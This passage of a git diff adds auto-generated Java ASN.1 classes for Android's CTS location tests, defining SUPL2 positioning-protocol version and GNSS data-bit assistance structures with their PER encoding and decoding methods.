+ }
+
+ @Override public void setToNewInstance() {
+ setMajorVersionFieldToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PosProtocolVersion3GPP.majorVersionFieldType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "majorVersionField : "
+ + getMajorVersionField().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getTechnicalVersionField() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getTechnicalVersionField();
+ }
+
+ @Override public void setToNewInstance() {
+ setTechnicalVersionFieldToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PosProtocolVersion3GPP.technicalVersionFieldType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "technicalVersionField : "
+ + getTechnicalVersionField().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getEditorialVersionField() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getEditorialVersionField();
+ }
+
+ @Override public void setToNewInstance() {
+ setEditorialVersionFieldToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PosProtocolVersion3GPP.editorialVersionFieldType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "editorialVersionField : "
+ + getEditorialVersionField().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class majorVersionFieldType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_majorVersionFieldType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public majorVersionFieldType() {
+ super();
+ setValueRange("0", "255");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_majorVersionFieldType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_majorVersionFieldType != null) {
+ return ImmutableList.of(TAG_majorVersionFieldType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new majorVersionFieldType from encoded stream.
+ */
+ public static majorVersionFieldType fromPerUnaligned(byte[] encodedBytes) {
+ majorVersionFieldType result = new majorVersionFieldType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new majorVersionFieldType from encoded stream.
+ */
+ public static majorVersionFieldType fromPerAligned(byte[] encodedBytes) {
+ majorVersionFieldType result = new majorVersionFieldType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "majorVersionFieldType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class technicalVersionFieldType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_technicalVersionFieldType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public technicalVersionFieldType() {
+ super();
+ setValueRange("0", "255");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_technicalVersionFieldType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_technicalVersionFieldType != null) {
+ return ImmutableList.of(TAG_technicalVersionFieldType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new technicalVersionFieldType from encoded stream.
+ */
+ public static technicalVersionFieldType fromPerUnaligned(byte[] encodedBytes) {
+ technicalVersionFieldType result = new technicalVersionFieldType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new technicalVersionFieldType from encoded stream.
+ */
+ public static technicalVersionFieldType fromPerAligned(byte[] encodedBytes) {
+ technicalVersionFieldType result = new technicalVersionFieldType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "technicalVersionFieldType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class editorialVersionFieldType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_editorialVersionFieldType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public editorialVersionFieldType() {
+ super();
+ setValueRange("0", "255");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_editorialVersionFieldType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_editorialVersionFieldType != null) {
+ return ImmutableList.of(TAG_editorialVersionFieldType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new editorialVersionFieldType from encoded stream.
+ */
+ public static editorialVersionFieldType fromPerUnaligned(byte[] encodedBytes) {
+ editorialVersionFieldType result = new editorialVersionFieldType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new editorialVersionFieldType from encoded stream.
+ */
+ public static editorialVersionFieldType fromPerAligned(byte[] encodedBytes) {
+ editorialVersionFieldType result = new editorialVersionFieldType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "editorialVersionFieldType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("PosProtocolVersion3GPP = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/PosProtocolVersion3GPP2.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/PosProtocolVersion3GPP2.java
new file mode 100755
index 0000000..2034003
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/PosProtocolVersion3GPP2.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_version_2_parameter_extensions;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class PosProtocolVersion3GPP2
+ extends Asn1SequenceOf<Supported3GPP2PosProtocolVersion> {
+ //
+
+ private static final Asn1Tag TAG_PosProtocolVersion3GPP2
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public PosProtocolVersion3GPP2() {
+ super();
+ setMinSize(1);
+setMaxSize(8);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_PosProtocolVersion3GPP2;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_PosProtocolVersion3GPP2 != null) {
+ return ImmutableList.of(TAG_PosProtocolVersion3GPP2);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new PosProtocolVersion3GPP2 from encoded stream.
+ */
+ public static PosProtocolVersion3GPP2 fromPerUnaligned(byte[] encodedBytes) {
+ PosProtocolVersion3GPP2 result = new PosProtocolVersion3GPP2();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new PosProtocolVersion3GPP2 from encoded stream.
+ */
+ public static PosProtocolVersion3GPP2 fromPerAligned(byte[] encodedBytes) {
+ PosProtocolVersion3GPP2 result = new PosProtocolVersion3GPP2();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public Supported3GPP2PosProtocolVersion createAndAddValue() {
+ Supported3GPP2PosProtocolVersion value = new Supported3GPP2PosProtocolVersion();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("PosProtocolVersion3GPP2 = [\n");
+ final String internalIndent = indent + " ";
+ for (Supported3GPP2PosProtocolVersion value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/ReqDataBitAssistanceList.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/ReqDataBitAssistanceList.java
new file mode 100755
index 0000000..18160e6
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/ReqDataBitAssistanceList.java
@@ -0,0 +1,609 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_version_2_parameter_extensions;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.ver2_ulp_components.GANSSSignals;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class ReqDataBitAssistanceList extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_ReqDataBitAssistanceList
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ReqDataBitAssistanceList() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ReqDataBitAssistanceList;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ReqDataBitAssistanceList != null) {
+ return ImmutableList.of(TAG_ReqDataBitAssistanceList);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ReqDataBitAssistanceList from encoded stream.
+ */
+ public static ReqDataBitAssistanceList fromPerUnaligned(byte[] encodedBytes) {
+ ReqDataBitAssistanceList result = new ReqDataBitAssistanceList();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ReqDataBitAssistanceList from encoded stream.
+ */
+ public static ReqDataBitAssistanceList fromPerAligned(byte[] encodedBytes) {
+ ReqDataBitAssistanceList result = new ReqDataBitAssistanceList();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GANSSSignals gnssSignals_;
+ public GANSSSignals getGnssSignals() {
+ return gnssSignals_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSSignals
+ */
+ public void setGnssSignals(Asn1Object value) {
+ this.gnssSignals_ = (GANSSSignals) value;
+ }
+ public GANSSSignals setGnssSignalsToNewInstance() {
+ gnssSignals_ = new GANSSSignals();
+ return gnssSignals_;
+ }
+
+ private ReqDataBitAssistanceList.ganssDataBitIntervalType ganssDataBitInterval_;
+ public ReqDataBitAssistanceList.ganssDataBitIntervalType getGanssDataBitInterval() {
+ return ganssDataBitInterval_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ReqDataBitAssistanceList.ganssDataBitIntervalType
+ */
+ public void setGanssDataBitInterval(Asn1Object value) {
+ this.ganssDataBitInterval_ = (ReqDataBitAssistanceList.ganssDataBitIntervalType) value;
+ }
+ public ReqDataBitAssistanceList.ganssDataBitIntervalType setGanssDataBitIntervalToNewInstance() {
+ ganssDataBitInterval_ = new ReqDataBitAssistanceList.ganssDataBitIntervalType();
+ return ganssDataBitInterval_;
+ }
+
+ private ReqDataBitAssistanceList.ganssDataBitSatListType ganssDataBitSatList_;
+ public ReqDataBitAssistanceList.ganssDataBitSatListType getGanssDataBitSatList() {
+ return ganssDataBitSatList_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ReqDataBitAssistanceList.ganssDataBitSatListType
+ */
+ public void setGanssDataBitSatList(Asn1Object value) {
+ this.ganssDataBitSatList_ = (ReqDataBitAssistanceList.ganssDataBitSatListType) value;
+ }
+ public ReqDataBitAssistanceList.ganssDataBitSatListType setGanssDataBitSatListToNewInstance() {
+ ganssDataBitSatList_ = new ReqDataBitAssistanceList.ganssDataBitSatListType();
+ return ganssDataBitSatList_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGnssSignals() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGnssSignals();
+ }
+
+ @Override public void setToNewInstance() {
+ setGnssSignalsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSSignals.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gnssSignals : "
+ + getGnssSignals().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssDataBitInterval() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssDataBitInterval();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssDataBitIntervalToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ReqDataBitAssistanceList.ganssDataBitIntervalType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssDataBitInterval : "
+ + getGanssDataBitInterval().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssDataBitSatList() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssDataBitSatList();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssDataBitSatListToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ReqDataBitAssistanceList.ganssDataBitSatListType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssDataBitSatList : "
+ + getGanssDataBitSatList().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssDataBitIntervalType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ganssDataBitIntervalType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssDataBitIntervalType() {
+ super();
+ setValueRange("0", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssDataBitIntervalType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssDataBitIntervalType != null) {
+ return ImmutableList.of(TAG_ganssDataBitIntervalType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssDataBitIntervalType from encoded stream.
+ */
+ public static ganssDataBitIntervalType fromPerUnaligned(byte[] encodedBytes) {
+ ganssDataBitIntervalType result = new ganssDataBitIntervalType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssDataBitIntervalType from encoded stream.
+ */
+ public static ganssDataBitIntervalType fromPerAligned(byte[] encodedBytes) {
+ ganssDataBitIntervalType result = new ganssDataBitIntervalType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssDataBitIntervalType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssDataBitSatListType
+ extends Asn1SequenceOf<ganssDataBitSatListType.ganssDataBitSatListTypeComponentType> {
+ //
+
+ private static final Asn1Tag TAG_ganssDataBitSatListType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssDataBitSatListType() {
+ super();
+ setMinSize(1);
+setMaxSize(32);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssDataBitSatListType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssDataBitSatListType != null) {
+ return ImmutableList.of(TAG_ganssDataBitSatListType);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssDataBitSatListType from encoded stream.
+ */
+ public static ganssDataBitSatListType fromPerUnaligned(byte[] encodedBytes) {
+ ganssDataBitSatListType result = new ganssDataBitSatListType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssDataBitSatListType from encoded stream.
+ */
+ public static ganssDataBitSatListType fromPerAligned(byte[] encodedBytes) {
+ ganssDataBitSatListType result = new ganssDataBitSatListType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public ganssDataBitSatListType.ganssDataBitSatListTypeComponentType createAndAddValue() {
+ ganssDataBitSatListType.ganssDataBitSatListTypeComponentType value = new ganssDataBitSatListType.ganssDataBitSatListTypeComponentType();
+ add(value);
+ return value;
+ }
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssDataBitSatListTypeComponentType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ganssDataBitSatListTypeComponentType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssDataBitSatListTypeComponentType() {
+ super();
+ setValueRange("0", "63");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssDataBitSatListTypeComponentType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssDataBitSatListTypeComponentType != null) {
+ return ImmutableList.of(TAG_ganssDataBitSatListTypeComponentType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssDataBitSatListTypeComponentType from encoded stream.
+ */
+ public static ganssDataBitSatListTypeComponentType fromPerUnaligned(byte[] encodedBytes) {
+ ganssDataBitSatListTypeComponentType result = new ganssDataBitSatListTypeComponentType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssDataBitSatListTypeComponentType from encoded stream.
+ */
+ public static ganssDataBitSatListTypeComponentType fromPerAligned(byte[] encodedBytes) {
+ ganssDataBitSatListTypeComponentType result = new ganssDataBitSatListTypeComponentType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssDataBitSatListTypeComponentType = " + getInteger() + ";\n";
+ }
+}
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("ganssDataBitSatListType = [\n");
+ final String internalIndent = indent + " ";
+ for (ganssDataBitSatListType.ganssDataBitSatListTypeComponentType value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("ReqDataBitAssistanceList = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/SatellitesListRelatedData.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/SatellitesListRelatedData.java
new file mode 100755
index 0000000..ccb4dfc
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/SatellitesListRelatedData.java
@@ -0,0 +1,447 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
